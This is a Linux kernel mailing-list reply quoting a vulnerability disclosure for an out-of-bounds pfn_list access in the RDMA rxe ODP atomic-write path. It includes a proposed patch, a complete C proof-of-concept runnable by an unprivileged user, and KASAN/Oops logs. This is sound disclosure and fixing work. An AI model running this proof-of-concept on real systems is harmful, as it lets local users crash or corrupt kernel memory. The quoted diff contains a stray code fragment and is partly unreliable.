Re: [PATCH] RDMA/rxe: require ODP MR iova to equal the umem user address

[Chenguang Zhao <chenguang.zhao@linux.dev>]

On Sun, Oct 04, 2026 at 02:07:59PM +0000, hello messi wrote:
> Hello,
> I found an out-of-bounds access in the RXE ODP MR path when an ODP memory region is registered with an IOVA that differs from the user virtual address used to create the underlying ib_umem_odp.
> The issue was reproduced on Linux v7.2.8 with Soft-RoCE (rxe0).
> Environment
> 
> Kernel: Linux v7.2.8
> RDMA device: Soft-RoCE (rxe0)
> 
> CONFIG_INFINIBAND_ON_DEMAND_PAGING=y
> CONFIG_RDMA_RXE=m
> CONFIG_KASAN=y
> CONFIG_KASAN_GENERIC=y
> CONFIG_KASAN_INLINE=y
> CONFIG_DEBUG_INFO=y
> CONFIG_DEBUG_INFO_DWARF5=y
> 
> 
> Root cause
> rxe_odp_mr_init_user() accepts start and iova independently:
> 
> umem_odp = ib_umem_odp_get(&rxe->ib_dev, start, length, access_flags,
>                            &rxe_mn_ops);
> 
> ...
> 
> mr->ibmr.length = length;
> mr->ibmr.iova = iova;
> 
> 
> The ODP page list is sized according to the UMEM user address range, while RXE calculates the page-list index from the MR IOVA:
> 
> idx = (iova - ib_umem_start(umem_odp)) >> umem_odp->page_shift;
> 
> 
> There is no validation that the resulting index is within umem_odp->map.pfn_list.
> mr_check_range() does not prevent this because it validates the IOVA against mr->ibmr.iova and mr->ibmr.length, rather than against the underlying UMEM user address range.
> Reproduction
> A minimal reproducer is attached as poc.c.
> The reproducer creates a one-page ODP MR with a deliberately divergent IOVA:
> 
> user VA      : 0x55b0f4fb2000
> ODP IOVA     : 0x55b1f4fb2000
> IOVA delta   : 0x100000000
> ODP length   : 0x1000
> expected idx : 0x100000
> 
> 
> The resulting index is 0x100000, while the one-page ODP pfn_list only contains the entry corresponding to the valid UMEM page.
> The reproducer then submits an RC atomic-write operation using the MR rkey and the divergent IOVA, reaching:
> 
> rxe_odp_do_atomic_write()
>   -> rxe_odp_iova_to_index()
>   -> umem_odp->map.pfn_list[index]
>   -> hmm_pfn_to_page()
>   -> kmap_local_page()
>   -> smp_store_release()
> 
> 
> The reproducer can be executed by an unprivileged user.
> KASAN/Oops
> The reproducer triggers:
> 
> Oops: general protection fault, probably for non-canonical address ...
> KASAN: maybe wild-memory-access ...
> CPU: 3 UID: 0 PID: 13495 Comm: kworker/u514:1
> Workqueue: rxe_wq do_work [rdma_rxe]
> RIP: 0010:rxe_odp_do_atomic_write+0x1ba/0x3e0 [rdma_rxe]
> 
> 
> Using faddr2line:
> 
> rxe_odp_do_atomic_write+0x1ba/0x3e0:
> rxe_odp_do_atomic_write at
> /home/kali/linux-7.2.8/drivers/infiniband/sw/rxe/rxe_odp.c:410
> 
> 
> Line 410 is:
> 
> smp_store_release(&va[page_offset >> 3], value);
> 
> 
> The atomic value supplied by the reproducer was:
> 
> atomic value=0x4141414142424242
> 
> 
> The same value was present in the kernel register state at the time of the fault.
> This demonstrates an out-of-bounds ODP pfn_list access in the RXE atomic-write path. I have not assumed arbitrary kernel write or code execution from this crash; the demonstrated impact is a kernel memory-safety violation leading to a kernel fault.
> Proposed fix
> The existing ODP index calculation assumes that the MR IOVA and the UMEM user address refer to the same address range. The simplest fix is to reject an ODP MR when these addresses differ:

Please add SOB and Fixes tag. Before sending the patch, you can use
the scripts/checkpatch.pl script to check it and ensure there are no
errors or warnings.

> 
> diff --git a/drivers/infiniband/sw/rxe/rxe_odp.c b/drivers/infiniband/sw/rxe/rxe_odp.c
> index ...
> --- a/drivers/infiniband/sw/rxe/rxe_odp.c
> +++ b/drivers/infiniband/sw/rxe/rxe_odp.c
> @@ -98,6 +98,9 @@ int rxe_odp_mr_init_user(struct rxe_dev *rxe, u64 start, u64 length,
>                 /* Never reach here, for implicit ODP is not implemented. */rxe_odp_do_atomic_op()
>         }
> 
> +       if (iova != start)
> +               return -EINVAL;
> +
>         umem_odp = ib_umem_odp_get(&rxe->ib_dev, start, length, access_flags,
>                                    &rxe_mn_ops);
> 
> 
> This restores the invariant required by the existing ODP index calculation and prevents a divergent IOVA from producing an out-of-range pfn_list index.
> Please consider applying an appropriate fix to current mainline and stable kernels as appropriate.
> The reproducer is attached as poc.c, and the relevant KASAN/Oops output is attached as kasan-oops.txt.
> Thanks,
> hellomessi
> 

> #define _GNU_SOURCE
> #include <infiniband/verbs.h>
> #include <stdio.h>
> #include <stdint.h>
> #include <stdlib.h>
> #include <string.h>
> #include <errno.h>
> #include <unistd.h>
> #include <inttypes.h>
> #include <arpa/inet.h>
> 
> #define DEV_NAME "rxe0"
> #define PORT_NUM 1
> #define GID_INDEX 1
> #define MR_LEN 0x1000ULL
> #define IOVA_DELTA 0x100000000ULL
> #define TEST_VALUE 0x4141414142424242ULL
> 
> static void die(const char *s)
> {
>     perror(s);
>     exit(EXIT_FAILURE);
> }
> 
> static struct ibv_device *find_device(const char *name)
> {
>     int ndev = 0;
>     struct ibv_device **list = ibv_get_device_list(&ndev);
> 
>     if (!list)
>         die("ibv_get_device_list");
> 
>     for (int i = 0; i < ndev; i++) {
>         if (!strcmp(ibv_get_device_name(list[i]), name)) {
>             struct ibv_device *dev = list[i];
>             ibv_free_device_list(list);
>             return dev;
>         }
>     }
> 
>     ibv_free_device_list(list);
>     fprintf(stderr, "device %s not found\n", name);
>     exit(EXIT_FAILURE);
> }
> 
> static int modify_qp_init(struct ibv_qp *qp)
> {
>     struct ibv_qp_attr attr;
> 
>     memset(&attr, 0, sizeof(attr));
>     attr.qp_state = IBV_QPS_INIT;
>     attr.pkey_index = 0;
>     attr.port_num = PORT_NUM;
>     attr.qp_access_flags =
>         IBV_ACCESS_REMOTE_READ |
>         IBV_ACCESS_REMOTE_WRITE |
>         IBV_ACCESS_REMOTE_ATOMIC;
> 
>     return ibv_modify_qp(qp, &attr,
>                          IBV_QP_STATE |
>                          IBV_QP_PKEY_INDEX |
>                          IBV_QP_PORT |
>                          IBV_QP_ACCESS_FLAGS);
> }
> 
> static int modify_qp_rtr(struct ibv_qp *qp,
>                          uint32_t remote_qpn,
>                          uint32_t remote_psn,
>                          const union ibv_gid *gid)
> {
>     struct ibv_qp_attr attr;
> 
>     memset(&attr, 0, sizeof(attr));
>     attr.qp_state = IBV_QPS_RTR;
>     attr.path_mtu = IBV_MTU_1024;
>     attr.dest_qp_num = remote_qpn;
>     attr.rq_psn = remote_psn;
>     attr.max_dest_rd_atomic = 1;
>     attr.min_rnr_timer = 12;
> 
>     attr.ah_attr.is_global = 1;
>     attr.ah_attr.port_num = PORT_NUM;
>     attr.ah_attr.grh.dgid = *gid;
>     attr.ah_attr.grh.sgid_index = GID_INDEX;
>     attr.ah_attr.grh.hop_limit = 1;
> 
>     return ibv_modify_qp(qp, &attr,
>                          IBV_QP_STATE |
>                          IBV_QP_AV |
>                          IBV_QP_PATH_MTU |
>                          IBV_QP_DEST_QPN |
>                          IBV_QP_RQ_PSN |
>                          IBV_QP_MAX_DEST_RD_ATOMIC |
>                          IBV_QP_MIN_RNR_TIMER);
> }
> 
> static int modify_qp_rts(struct ibv_qp *qp, uint32_t psn)
> {
>     struct ibv_qp_attr attr;
> 
>     memset(&attr, 0, sizeof(attr));
>     attr.qp_state = IBV_QPS_RTS;
>     attr.sq_psn = psn;
>     attr.timeout = 14;
>     attr.retry_cnt = 7;
>     attr.rnr_retry = 7;
>     attr.max_rd_atomic = 1;
> 
>     return ibv_modify_qp(qp, &attr,
>                          IBV_QP_STATE |
>                          IBV_QP_SQ_PSN |
>                          IBV_QP_TIMEOUT |
>                          IBV_QP_RETRY_CNT |
>                          IBV_QP_RNR_RETRY |
>                          IBV_QP_MAX_QP_RD_ATOMIC);
> }
> 
> static int poll_cq_timeout(struct ibv_cq *cq, int timeout_ms)
> {
>     struct ibv_wc wc;
> 
>     for (int i = 0; i < timeout_ms; i++) {
>         int n = ibv_poll_cq(cq, 1, &wc);
> 
>         if (n < 0) {
>             fprintf(stderr, "ibv_poll_cq failed\n");
>             return -1;
>         }
> 
>         if (n == 1) {
>             printf("completion: wr_id=%" PRIu64
>                    " status=%s (%d)"
>                    " opcode=%d"
>                    " vendor_err=0x%x\n",
>                    wc.wr_id,
>                    ibv_wc_status_str(wc.status),
>                    wc.status,
>                    wc.opcode,
>                    wc.vendor_err);
>             return wc.status == IBV_WC_SUCCESS ? 0 : -1;
>         }
> 
>         usleep(1000);
>     }
> 
>     printf("CQ timeout after %d ms\n", timeout_ms);
>     return -1;
> }
> 
> int main(void)
> {
>     struct ibv_device *dev;
>     struct ibv_context *ctx = NULL;
>     struct ibv_pd *pd = NULL;
>     struct ibv_cq *cq0 = NULL;
>     struct ibv_cq *cq1 = NULL;
>     struct ibv_qp *qp0 = NULL;
>     struct ibv_qp *qp1 = NULL;
>     struct ibv_mr *mr = NULL;
>     struct ibv_qp_init_attr_ex qpa;
>     struct ibv_qp_ex *qpx = NULL;
>     union ibv_gid gid;
>     void *buf = NULL;
>     uint32_t psn0 = 0x12345;
>     uint32_t psn1 = 0x23456;
>     uint64_t user_va;
>     uint64_t iova;
>     uint64_t value = TEST_VALUE;
>     int ret;
> 
>     dev = find_device(DEV_NAME);
> 
>     ctx = ibv_open_device(dev);
>     if (!ctx)
>         die("ibv_open_device");
> 
>     if (ibv_query_gid(ctx, PORT_NUM, GID_INDEX, &gid))
>         die("ibv_query_gid");
> 
>     char gid_str[INET6_ADDRSTRLEN + 32];
>     if (!inet_ntop(AF_INET6, gid.raw, gid_str, sizeof(gid_str)))
>         strcpy(gid_str, "?");
> 
>     printf("device: %s\n", ibv_get_device_name(dev));
>     printf("GID[%d]: %s\n", GID_INDEX, gid_str);
> 
>     pd = ibv_alloc_pd(ctx);
>     if (!pd)
>         die("ibv_alloc_pd");
> 
>     cq0 = ibv_create_cq(ctx, 16, NULL, NULL, 0);
>     if (!cq0)
>         die("ibv_create_cq");
> 
>     cq1 = ibv_create_cq(ctx, 16, NULL, NULL, 0);
>     if (!cq1)
>         die("ibv_create_cq");
> 
>     memset(&qpa, 0, sizeof(qpa));
>     qpa.comp_mask =
>         IBV_QP_INIT_ATTR_PD |
>         IBV_QP_INIT_ATTR_SEND_OPS_FLAGS;
>     qpa.pd = pd;
>     qpa.send_cq = cq0;
>     qpa.recv_cq = cq0;
>     qpa.qp_type = IBV_QPT_RC;
>     qpa.cap.max_send_wr = 16;
>     qpa.cap.max_recv_wr = 16;
>     qpa.cap.max_send_sge = 1;
>     qpa.cap.max_recv_sge = 1;
>     qpa.send_ops_flags =
>         IBV_QP_EX_WITH_ATOMIC_WRITE;
> 
>     qp0 = ibv_create_qp_ex(ctx, &qpa);
>     if (!qp0)
>         die("ibv_create_qp_ex qp0");
> 
>     qpa.send_cq = cq1;
>     qpa.recv_cq = cq1;
> 
>     qp1 = ibv_create_qp_ex(ctx, &qpa);
>     if (!qp1)
>         die("ibv_create_qp_ex qp1");
> 
>     ret = modify_qp_init(qp0);
>     if (ret)
>         die("modify qp0 INIT");
> 
>     ret = modify_qp_init(qp1);
>     if (ret)
>         die("modify qp1 INIT");
> 
>     ret = modify_qp_rtr(qp0, qp1->qp_num, psn1, &gid);
>     if (ret)
>         die("modify qp0 RTR");
> 
>     ret = modify_qp_rtr(qp1, qp0->qp_num, psn0, &gid);
>     if (ret)
>         die("modify qp1 RTR");
> 
>     ret = modify_qp_rts(qp0, psn0);
>     if (ret)
>         die("modify qp0 RTS");
> 
>     ret = modify_qp_rts(qp1, psn1);
>     if (ret)
>         die("modify qp1 RTS");
> 
>     ret = posix_memalign(&buf, 4096, MR_LEN);
>     if (ret) {
>         errno = ret;
>         die("posix_memalign");
>     }
> 
>     memset(buf, 0x41, MR_LEN);
> 
>     user_va = (uint64_t)(uintptr_t)buf;
>     iova = user_va + IOVA_DELTA;
> 
>     mr = ibv_reg_mr_iova2(
>         pd,
>         buf,
>         MR_LEN,
>         iova,
>         IBV_ACCESS_LOCAL_WRITE |
>         IBV_ACCESS_REMOTE_READ |
>         IBV_ACCESS_REMOTE_WRITE |
>         IBV_ACCESS_REMOTE_ATOMIC |
>         IBV_ACCESS_ON_DEMAND);
> 
>     if (!mr)
>         die("ibv_reg_mr_iova2");
> 
>     printf("user VA      : 0x%" PRIx64 "\n", user_va);
>     printf("ODP IOVA     : 0x%" PRIx64 "\n", iova);
>     printf("IOVA delta   : 0x%" PRIx64 "\n",
>            iova - user_va);
>     printf("ODP lkey     : 0x%x\n", mr->lkey);
>     printf("ODP rkey     : 0x%x\n", mr->rkey);
>     printf("ODP length   : 0x%llx\n",
>            (unsigned long long)MR_LEN);
>     printf("expected idx : 0x%" PRIx64 "\n",
>            (iova - user_va) >> 12);
> 
>     if (((iova - user_va) >> 12) != 0x100000) {
>         fprintf(stderr, "unexpected ODP index\n");
>         return EXIT_FAILURE;
>     }
> 
>     qpx = ibv_qp_to_qp_ex(qp0);
>     if (!qpx) {
>         fprintf(stderr, "ibv_qp_to_qp_ex failed\n");
>         return EXIT_FAILURE;
>     }
> 
>     qpx->wr_id = 0x41414141;
>     qpx->wr_flags = IBV_SEND_SIGNALED;
> 
>     ibv_wr_start(qpx);
> 
>     ibv_wr_atomic_write(
>         qpx,
>         mr->rkey,
>         iova,
>         &value);
> 
>     ret = ibv_wr_complete(qpx);
> 
>     printf("ibv_wr_complete: %d\n", ret);
> 
>     if (ret) {
>         errno = ret;
>         perror("ibv_wr_complete");
>     }
> 
>     printf("atomic write remote_addr=0x%" PRIx64 "\n", iova);
>     printf("atomic write rkey=0x%x\n", mr->rkey);
>     printf("atomic value=0x%" PRIx64 "\n", value);
>     printf("triggering ODP atomic-write path...\n");
> 
>     poll_cq_timeout(cq0, 5000);
> 
>     printf("verification finished\n");
> 
>     ibv_dereg_mr(mr);
>     free(buf);
>     ibv_destroy_qp(qp1);
>     ibv_destroy_qp(qp0);
>     ibv_destroy_cq(cq1);
>     ibv_destroy_cq(cq0);
>     ibv_dealloc_pd(pd);
>     ibv_close_device(ctx);
> 
>     return 0;
> }

> gcc -O0 -g -Wall -Wextra -o poc poc.c -libverbs
> 
> ??????$ su - pocuser -c /tmp/poc
> ????????? 
> device: rxe0
> GID[1]: ::ffff:127.0.0.1
> user VA      : 0x55b0f4fb2000
> ODP IOVA     : 0x55b1f4fb2000
> IOVA delta   : 0x100000000
> ODP lkey     : 0x754
> ODP rkey     : 0x754
> ODP length   : 0x1000
> expected idx : 0x100000
> ibv_wr_complete: 0
> atomic write remote_addr=0x55b1f4fb2000
> atomic write rkey=0x754
> atomic value=0x4141414142424242
> triggering ODP atomic-write path...
> CQ timeout after 5000 ms
> verification finished
> 
> ??????$ dmesg -T | tail -250
> [??? 10???  4 21:31:47 2026] Oops: general protection fault, probably for non-canonical address 0xf99986a999999800: 0000 [#3] SMP KASAN PTI
> [??? 10???  4 21:31:47 2026] KASAN: maybe wild-memory-access in range [0xcccc554cccccc000-0xcccc554cccccc007]
> [??? 10???  4 21:31:47 2026] CPU: 3 UID: 0 PID: 13495 Comm: kworker/u514:1 Tainted: G    B D W           7.2.8 #2 PREEMPT(lazy) 
> [??? 10???  4 21:31:47 2026] Tainted: [B]=BAD_PAGE, [D]=DIE, [W]=WARN
> [??? 10???  4 21:31:47 2026] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 11/12/2020
> [??? 10???  4 21:31:47 2026] Workqueue: rxe_wq do_work [rdma_rxe]
> [??? 10???  4 21:31:47 2026] RIP: 0010:rxe_odp_do_atomic_write+0x1ba/0x3e0 [rdma_rxe]
> [??? 10???  4 21:31:47 2026] Code: 01 00 00 48 03 05 9e f2 96 c3 41 c1 e8 03 42 8d 14 c5 00 00 00 00 48 01 d0 48 ba 00 00 00 00 00 fc ff df 48 89 c1 48 c1 e9 03 <80> 3c 11 00 0f 85 b5 01 00 00 48 89 18 48 8d bd e0 00 00 00 e8 cd
> [??? 10???  4 21:31:47 2026] RSP: 0018:ffffc90015d1fa38 EFLAGS: 00010a06
> [??? 10???  4 21:31:47 2026] RAX: cccc554cccccc000 RBX: 4141414142424242 RCX: 19998aa999999800
> [??? 10???  4 21:31:47 2026] RDX: dffffc0000000000 RSI: 0000000000000008 RDI: ffffc90015d1fa08
> [??? 10???  4 21:31:47 2026] RBP: ffff88812f29a000 R08: 0000000000000000 R09: ffff88812f29a108
> [??? 10???  4 21:31:47 2026] R10: 0000000000000008 R11: 000055b1f4fb3000 R12: ffff888107984998
> [??? 10???  4 21:31:47 2026] R13: ffff88812f299400 R14: ffff888106c13800 R15: 4141414142424242
> [??? 10???  4 21:31:47 2026] FS:  0000000000000000(0000) GS:ffff888265a1d000(0000) knlGS:0000000000000000
> [??? 10???  4 21:31:47 2026] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> [??? 10???  4 21:31:47 2026] CR2: 00007ff015c0441c CR3: 000000012bd96004 CR4: 0000000000370ef0
> [??? 10???  4 21:31:47 2026] Call Trace:
> [??? 10???  4 21:31:47 2026]  <TASK>
> [??? 10???  4 21:31:47 2026]  rxe_receiver+0x26f2/0xa000 [rdma_rxe]
> [??? 10???  4 21:31:47 2026]  ? __pfx_rxe_receiver+0x10/0x10 [rdma_rxe]
> [??? 10???  4 21:31:47 2026]  ? __wake_up+0x44/0x60
> [??? 10???  4 21:31:47 2026]  ? __pfx_rxe_completer+0x10/0x10 [rdma_rxe]
> [??? 10???  4 21:31:47 2026]  ? n_tty_receive_buf_common+0x89d/0x1700
> [??? 10???  4 21:31:47 2026]  ? __pfx_rxe_requester+0x10/0x10 [rdma_rxe]
> [??? 10???  4 21:31:47 2026]  ? _raw_spin_lock_irqsave+0x94/0xf0
> [??? 10???  4 21:31:47 2026]  ? __pfx__raw_spin_lock_irqsave+0x10/0x10
> [??? 10???  4 21:31:47 2026]  ? __asan_memset+0x27/0x50
> [??? 10???  4 21:31:47 2026]  ? __pfx_rxe_receiver+0x10/0x10 [rdma_rxe]
> [??? 10???  4 21:31:47 2026]  do_work+0x149/0x610 [rdma_rxe]
> [??? 10???  4 21:31:47 2026]  process_one_work+0x6aa/0xfa0
> [??? 10???  4 21:31:47 2026]  ? assign_work+0x129/0x5a0
> [??? 10???  4 21:31:47 2026]  worker_thread+0x4ea/0xd50
> [??? 10???  4 21:31:47 2026]  ? __kthread_parkme+0x8d/0x170
> [??? 10???  4 21:31:47 2026]  ? __pfx_worker_thread+0x10/0x10
> [??? 10???  4 21:31:47 2026]  ? __pfx_worker_thread+0x10/0x10
> [??? 10???  4 21:31:47 2026]  kthread+0x327/0x410
> [??? 10???  4 21:31:47 2026]  ? recalc_sigpending+0x15c/0x200
> [??? 10???  4 21:31:47 2026]  ? __pfx_kthread+0x10/0x10
> [??? 10???  4 21:31:47 2026]  ret_from_fork+0x4d5/0x760
> [??? 10???  4 21:31:47 2026]  ? __pfx_ret_from_fork+0x10/0x10
> [??? 10???  4 21:31:47 2026]  ? __switch_to+0x3ab/0xd00
> [??? 10???  4 21:31:47 2026]  ? __switch_to_asm+0x39/0x70
> [??? 10???  4 21:31:47 2026]  ? __switch_to_asm+0x33/0x70
> [??? 10???  4 21:31:47 2026]  ? __pfx_kthread+0x10/0x10
> [??? 10???  4 21:31:47 2026]  ret_from_fork_asm+0x1a/0x30
> [??? 10???  4 21:31:47 2026]  </TASK>
> [??? 10???  4 21:31:47 2026] Modules linked in: mptcp_diag xsk_diag vsock_diag tcp_diag udp_diag raw_diag inet_diag unix_diag af_packet_diag netlink_diag rpcrdma rdma_ucm ib_uverbs ib_uverbs_support ib_iser rdma_cm iw_cm ib_cm libiscsi scsi_transport_iscsi rdma_rxe ip6_udp_tunnel udp_tunnel ib_core xt_nat xt_tcpudp nf_conntrack_netlink veth snd_seq_dummy snd_seq_midi snd_hrtimer snd_seq_midi_event snd_seq xt_conntrack nft_chain_nat xt_MASQUERADE nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 bridge stp llc xfrm_user xfrm_algo xt_addrtype nft_compat x_tables nf_tables overlay intel_rapl_msr intel_rapl_common intel_uncore_frequency_common intel_pmc_core pmt_telemetry pmt_discovery pmt_class intel_pmc_ssram_telemetry intel_pmc_pwrm_telemetry intel_vsec rapl vmw_balloon rfkill qrtr pcspkr snd_ens1371 snd_ac97_codec ac97_bus gameport snd_rawmidi snd_seq_device snd_pcm snd_timer snd soundcore sunrpc binfmt_misc ac joydev sg evdev tls configfs efi_pstore vsock_loopback vmw_vsock_virtio_transport_common vmw_vsock_vmci_transport vsock
> [??? 10???  4 21:31:47 2026]  vmw_vmci autofs4 ext4 crc16 mbcache jbd2 hid_generic usbhid hid vmwgfx drm_ttm_helper ttm drm_client_lib sr_mod drm_kms_helper cdrom uhci_hcd sd_mod ata_generic ehci_pci drm psmouse ehci_hcd mptspi usbcore ata_piix mptscsih aesni_intel mptbase gf128mul libata serio_raw e1000 scsi_transport_spi usb_common i2c_piix4 scsi_mod i2c_smbus scsi_common button
> [??? 10???  4 21:31:47 2026] ---[ end trace 0000000000000000 ]---
> [??? 10???  4 21:31:47 2026] RIP: 0010:rxe_odp_do_atomic_write+0x1ba/0x3e0 [rdma_rxe]
> [??? 10???  4 21:31:47 2026] Code: 01 00 00 48 03 05 9e f2 96 c3 41 c1 e8 03 42 8d 14 c5 00 00 00 00 48 01 d0 48 ba 00 00 00 00 00 fc ff df 48 89 c1 48 c1 e9 03 <80> 3c 11 00 0f 85 b5 01 00 00 48 89 18 48 8d bd e0 00 00 00 e8 cd
> [??? 10???  4 21:31:47 2026] RSP: 0018:ffffc90000affa38 EFLAGS: 00010a06
> [??? 10???  4 21:31:47 2026] RAX: cccc554cccccc000 RBX: 4141414142424242 RCX: 19998aa999999800
> [??? 10???  4 21:31:47 2026] RDX: dffffc0000000000 RSI: 0000000000000008 RDI: ffffc90000affa08
> [??? 10???  4 21:31:47 2026] RBP: ffff88813bb85000 R08: 0000000000000000 R09: ffff88813bb85108
> [??? 10???  4 21:31:47 2026] R10: 0000000000000008 R11: 000055d48bd40000 R12: ffff88810678cea8
> [??? 10???  4 21:31:47 2026] R13: ffff88813bb80e00 R14: ffff888107a3b800 R15: 4141414142424242
> [??? 10???  4 21:31:47 2026] FS:  0000000000000000(0000) GS:ffff888265a1d000(0000) knlGS:0000000000000000
> [??? 10???  4 21:31:47 2026] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> [??? 10???  4 21:31:47 2026] CR2: 00007ff015c0441c CR3: 000000012bd96004 CR4: 0000000000370ef0
> [??? 10???  4 21:32:44 2026] ------------[ cut here ]------------
> [??? 10???  4 21:32:44 2026] WARNING: drivers/infiniband/sw/rxe/rxe_pool.c:212 at __rxe_cleanup+0x222/0x2a0 [rdma_rxe], CPU#3: poc/13609
> [??? 10???  4 21:32:44 2026] Modules linked in: mptcp_diag xsk_diag vsock_diag tcp_diag udp_diag raw_diag inet_diag unix_diag af_packet_diag netlink_diag rpcrdma rdma_ucm ib_uverbs ib_uverbs_support ib_iser rdma_cm iw_cm ib_cm libiscsi scsi_transport_iscsi rdma_rxe ip6_udp_tunnel udp_tunnel ib_core xt_nat xt_tcpudp nf_conntrack_netlink veth snd_seq_dummy snd_seq_midi snd_hrtimer snd_seq_midi_event snd_seq xt_conntrack nft_chain_nat xt_MASQUERADE nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 bridge stp llc xfrm_user xfrm_algo xt_addrtype nft_compat x_tables nf_tables overlay intel_rapl_msr intel_rapl_common intel_uncore_frequency_common intel_pmc_core pmt_telemetry pmt_discovery pmt_class intel_pmc_ssram_telemetry intel_pmc_pwrm_telemetry intel_vsec rapl vmw_balloon rfkill qrtr pcspkr snd_ens1371 snd_ac97_codec ac97_bus gameport snd_rawmidi snd_seq_device snd_pcm snd_timer snd soundcore sunrpc binfmt_misc ac joydev sg evdev tls configfs efi_pstore vsock_loopback vmw_vsock_virtio_transport_common vmw_vsock_vmci_transport vsock
> [??? 10???  4 21:32:44 2026]  vmw_vmci autofs4 ext4 crc16 mbcache jbd2 hid_generic usbhid hid vmwgfx drm_ttm_helper ttm drm_client_lib sr_mod drm_kms_helper cdrom uhci_hcd sd_mod ata_generic ehci_pci drm psmouse ehci_hcd mptspi usbcore ata_piix mptscsih aesni_intel mptbase gf128mul libata serio_raw e1000 scsi_transport_spi usb_common i2c_piix4 scsi_mod i2c_smbus scsi_common button
> [??? 10???  4 21:32:44 2026] CPU: 3 UID: 1001 PID: 13609 Comm: poc Tainted: G    B D W           7.2.8 #2 PREEMPT(lazy) 
> [??? 10???  4 21:32:44 2026] Tainted: [B]=BAD_PAGE, [D]=DIE, [W]=WARN
> [??? 10???  4 21:32:44 2026] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 11/12/2020
> [??? 10???  4 21:32:44 2026] RIP: 0010:__rxe_cleanup+0x222/0x2a0 [rdma_rxe]
> [??? 10???  4 21:32:44 2026] Code: 84 f7 fe ff ff 4c 89 e7 e8 cb 80 58 c0 84 c0 0f 85 6f ff ff ff be d4 30 00 00 4c 89 e7 e8 36 d3 d2 c2 85 c0 0f 85 5a ff ff ff <0f> 0b eb 0c 2e 2e 2e 31 c0 e9 45 fe ff ff 0f 0b bd 92 ff ff ff e9
> [??? 10???  4 21:32:44 2026] RSP: 0018:ffffc90018acf608 EFLAGS: 00010246
> [??? 10???  4 21:32:44 2026] RAX: 0000000000000000 RBX: ffff88812f299400 RCX: 1ffff92003159eaa
> [??? 10???  4 21:32:44 2026] RDX: 1ffff11025e53285 RSI: 1ffff92003159eb0 RDI: ffff88812f299430
> [??? 10???  4 21:32:44 2026] RBP: 0000000000000001 R08: 1ffff11025e53287 R09: 1ffff11025e53288
> [??? 10???  4 21:32:44 2026] R10: 0000000000000003 R11: 0000000000000000 R12: ffff88812f299428
> [??? 10???  4 21:32:44 2026] R13: 0000000000000000 R14: ffff888141aa2f28 R15: 1ffff92003159ec1
> [??? 10???  4 21:32:44 2026] FS:  00007f4b976cd580(0000) GS:ffff888265a1d000(0000) knlGS:0000000000000000
> [??? 10???  4 21:32:44 2026] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> [??? 10???  4 21:32:44 2026] CR2: 00007f627fe8b000 CR3: 0000000159762004 CR4: 0000000000370ef0
> [??? 10???  4 21:32:44 2026] Call Trace:
> [??? 10???  4 21:32:44 2026]  <TASK>
> [??? 10???  4 21:32:44 2026]  ? __pfx___rxe_cleanup+0x10/0x10 [rdma_rxe]
> [??? 10???  4 21:32:44 2026]  rxe_dereg_mr+0x6b/0x160 [rdma_rxe]
> [??? 10???  4 21:32:44 2026]  ib_dereg_mr_user+0x109/0x2d0 [ib_core]
> [??? 10???  4 21:32:44 2026]  destroy_hw_idr_uobject+0x7e/0x160 [ib_uverbs_support]
> [??? 10???  4 21:32:44 2026]  uverbs_destroy_uobject+0xe2/0x770 [ib_uverbs_support]
> [??? 10???  4 21:32:44 2026]  uobj_destroy+0x70/0xf0 [ib_uverbs_support]
> [??? 10???  4 21:32:44 2026]  ib_uverbs_cmd_verbs+0xcf1/0x3300 [ib_uverbs]
> [??? 10???  4 21:32:44 2026]  ? __pfx_uverbs_destroy_def_handler+0x10/0x10 [ib_core]
> [??? 10???  4 21:32:44 2026]  ? __tty_insert_flip_string_flags+0xfd/0x350
> [??? 10???  4 21:32:44 2026]  ? __pfx_ib_uverbs_cmd_verbs+0x10/0x10 [ib_uverbs]
> [??? 10???  4 21:32:44 2026]  ? queue_work_on+0x34/0x80
> [??? 10???  4 21:32:44 2026]  ? queue_work_on+0x73/0x80
> [??? 10???  4 21:32:44 2026]  ib_uverbs_ioctl+0x155/0x230 [ib_uverbs]
> [??? 10???  4 21:32:44 2026]  ? __pfx_ib_uverbs_ioctl+0x10/0x10 [ib_uverbs]
> [??? 10???  4 21:32:44 2026]  ? __pfx_ldsem_down_read+0x10/0x10
> [??? 10???  4 21:32:44 2026]  __x64_sys_ioctl+0x13c/0x1c0
> [??? 10???  4 21:32:44 2026]  do_syscall_64+0xe1/0x650
> [??? 10???  4 21:32:44 2026]  ? __wake_up+0x44/0x60
> [??? 10???  4 21:32:44 2026]  ? ldsem_up_read+0x17/0x60
> [??? 10???  4 21:32:44 2026]  ? file_tty_write.isra.0+0x4ad/0x790
> [??? 10???  4 21:32:44 2026]  ? vfs_write+0x554/0xde0
> [??? 10???  4 21:32:44 2026]  ? __pfx_vfs_write+0x10/0x10
> [??? 10???  4 21:32:44 2026]  ? do_syscall_64+0x11e/0x650
> [??? 10???  4 21:32:44 2026]  ? common_nsleep+0x6b/0xd0
> [??? 10???  4 21:32:44 2026]  ? fdget_pos+0x53/0x5e0
> [??? 10???  4 21:32:44 2026]  ? ksys_write+0x102/0x200
> [??? 10???  4 21:32:44 2026]  ? __pfx_ksys_write+0x10/0x10
> [??? 10???  4 21:32:44 2026]  ? __pfx___x64_sys_clock_nanosleep+0x10/0x10
> [??? 10???  4 21:32:44 2026]  ? fpregs_assert_state_consistent+0x5b/0xf0
> [??? 10???  4 21:32:44 2026]  ? do_syscall_64+0x11e/0x650
> [??? 10???  4 21:32:44 2026]  ? do_syscall_64+0x28e/0x650
> [??? 10???  4 21:32:44 2026]  ? do_syscall_64+0x98/0x650
> [??? 10???  4 21:32:44 2026]  ? clear_bhb_loop+0x40/0x90
> [??? 10???  4 21:32:44 2026]  entry_SYSCALL_64_after_hwframe+0x76/0x7e
> [??? 10???  4 21:32:44 2026] RIP: 0033:0x7f4b978a31db
